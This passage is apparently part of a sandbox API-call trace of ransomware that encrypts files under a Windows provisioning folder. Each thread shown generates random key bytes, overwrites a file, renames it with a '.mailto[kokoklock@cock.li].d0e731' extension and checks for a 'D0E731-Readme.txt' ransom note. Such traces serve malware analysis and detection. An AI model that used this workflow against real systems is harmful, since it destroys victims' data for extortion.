lpBuffer=0x55dcac0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fb3fbb4, lpOverlapped=0x0 | out: lpBuffer=0x55dcac0*, lpNumberOfBytesWritten=0x2fb3fbb4*=0x20, lpOverlapped=0x0) returned 1 [0087.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcac0) returned 1 [0087.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.689] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dca70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2fb3fbe0, lpOverlapped=0x0 | out: lpBuffer=0x55dca70*, lpNumberOfBytesWritten=0x2fb3fbe0*=0x8, lpOverlapped=0x0) returned 1 [0087.689] WriteFile (in: hFile=0x3d0, lpBuffer=0x2fb3fbf8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fb3fbe0, lpOverlapped=0x0 | out: lpBuffer=0x2fb3fbf8*, lpNumberOfBytesWritten=0x2fb3fbe0*=0x4, lpOverlapped=0x0) returned 1 [0087.689] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fb3fbe0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2fb3fbe0*=0x4, lpOverlapped=0x0) returned 1 [0087.689] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2fb3fbe0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2fb3fbe0*=0x6c, lpOverlapped=0x0) returned 1 [0087.690] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fb3fbe0, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x2fb3fbe0*=0x20, lpOverlapped=0x0) returned 1 [0087.690] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fb3fbe0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2fb3fbe0*=0x4, lpOverlapped=0x0) returned 1 [0087.690] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.690] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.690] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dca70) returned 1 [0087.690] CloseHandle (hObject=0x3d0) returned 1 [0087.690] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x33fc9c8 [0087.690] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" [0087.690] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.690] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.691] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.691] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.691] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.691] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.691] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.691] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.691] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d89e8) returned 1 [0087.692] RtlExitUserThread (Status=0x1) Thread: id = 1374 os_tid = 0x140c [0087.693] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml")) returned 0x20 [0087.693] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.693] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.694] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2fbbf9ec | out: lpFileSize=0x2fbbf9ec*=732) returned 1 [0087.694] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.694] ReadFile (in: hFile=0x3d0, lpBuffer=0x2fbbf9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fbbf9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbbf9c0*, lpNumberOfBytesRead=0x2fbbf9bc*=0x4, lpOverlapped=0x0) returned 1 [0087.695] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.695] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.695] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.695] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dca20 [0087.695] NtQuerySystemTime (in: CurrentTime=0x2fbbf998 | out: CurrentTime=0x2fbbf998*=132121176455945264) returned 0x0 [0087.695] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x74c1682e [0087.695] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xc43668c4 [0087.695] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xea6336ea [0087.695] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x9d9c895 [0087.695] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xe5ecbe3d [0087.695] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xde32fd07 [0087.695] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xbc24ef19 [0087.695] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x4b2abea8 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xbd4464af [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xdc5c732c [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xeba9f29b [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x3ecced5a [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x94f46ca3 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xe336a011 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x7fcf8569 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xce1c1255 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xb02a6640 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xdb04d616 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xbd81728c [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x50c0751 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xe0565de4 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x92058297 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x4908ca0b [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x2272c676 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x92a2e9ab [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x25c0b92c [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x750fd833 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xeb396c60 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x4f64d4b4 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xbf47b0b8 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0x78c69df1 [0087.696] RtlRandom (in: Seed=0x2fbbf9a4 | out: Seed=0x2fbbf9a4) returned 0xcec74ea0 [0087.706] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2dc, lpNumberOfBytesRead=0x2fbbf998, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2fbbf998*=0x2dc, lpOverlapped=0x0) returned 1 [0087.706] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbbf960 | out: lpNewFilePointer=0x0) returned 1 [0087.707] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2dc, lpNumberOfBytesWritten=0x2fbbf994, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2fbbf994*=0x2dc, lpOverlapped=0x0) returned 1 [0087.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcac0 [0087.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.707] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcac0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fbbf990, lpOverlapped=0x0 | out: lpBuffer=0x55dcac0*, lpNumberOfBytesWritten=0x2fbbf990*=0x20, lpOverlapped=0x0) returned 1 [0087.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcac0) returned 1 [0087.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.707] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dca70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2fbbf9bc, lpOverlapped=0x0 | out: lpBuffer=0x55dca70*, lpNumberOfBytesWritten=0x2fbbf9bc*=0x8, lpOverlapped=0x0) returned 1 [0087.707] WriteFile (in: hFile=0x3d0, lpBuffer=0x2fbbf9d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fbbf9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbbf9d4*, lpNumberOfBytesWritten=0x2fbbf9bc*=0x4, lpOverlapped=0x0) returned 1 [0087.707] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fbbf9bc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2fbbf9bc*=0x4, lpOverlapped=0x0) returned 1 [0087.707] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2fbbf9bc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2fbbf9bc*=0x6c, lpOverlapped=0x0) returned 1 [0087.707] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fbbf9bc, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x2fbbf9bc*=0x20, lpOverlapped=0x0) returned 1 [0087.708] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fbbf9bc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2fbbf9bc*=0x4, lpOverlapped=0x0) returned 1 [0087.708] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.708] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.708] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dca70) returned 1 [0087.708] CloseHandle (hObject=0x3d0) returned 1 [0087.708] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x186) returned 0x33fc9c8 [0087.708] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" [0087.708] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.708] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.709] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.710] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.710] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.710] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.710] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d85e0) returned 1 [0087.710] RtlExitUserThread (Status=0x1) Thread: id = 1375 os_tid = 0x1410 [0087.711] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.712] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.712] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.713] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2fc3fd40 | out: lpFileSize=0x2fc3fd40*=701) returned 1 [0087.713] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.713] ReadFile (in: hFile=0x3d0, lpBuffer=0x2fc3fd14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fc3fd10, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fd14*, lpNumberOfBytesRead=0x2fc3fd10*=0x4, lpOverlapped=0x0) returned 1 [0087.714] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dca48 [0087.714] NtQuerySystemTime (in: CurrentTime=0x2fc3fcec | out: CurrentTime=0x2fc3fcec*=132121176456100869) returned 0x0 [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x9d7ba07c [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0xa5e9a855 [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x1a20e439 [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x52addf7b [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x1c58a789 [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0xb9f4571 [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x930d1933 [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x7a2d555b [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0xe45e8ffa [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x8c19be52 [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0xe7ba04b5 [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0xc30230f9 [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0xfbb850c5 [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x4e30b4 [0087.714] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0xbfd96dc5 [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x4b1068de [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x7ac71ad5 [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x324a36ec [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0xa5d5b8ae [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x6382d18a [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0xb22f0f0c [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x107ce9e6 [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x45e6abc9 [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0xd0e4f531 [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x3b13faa4 [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x23fff3a7 [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x7cc4425 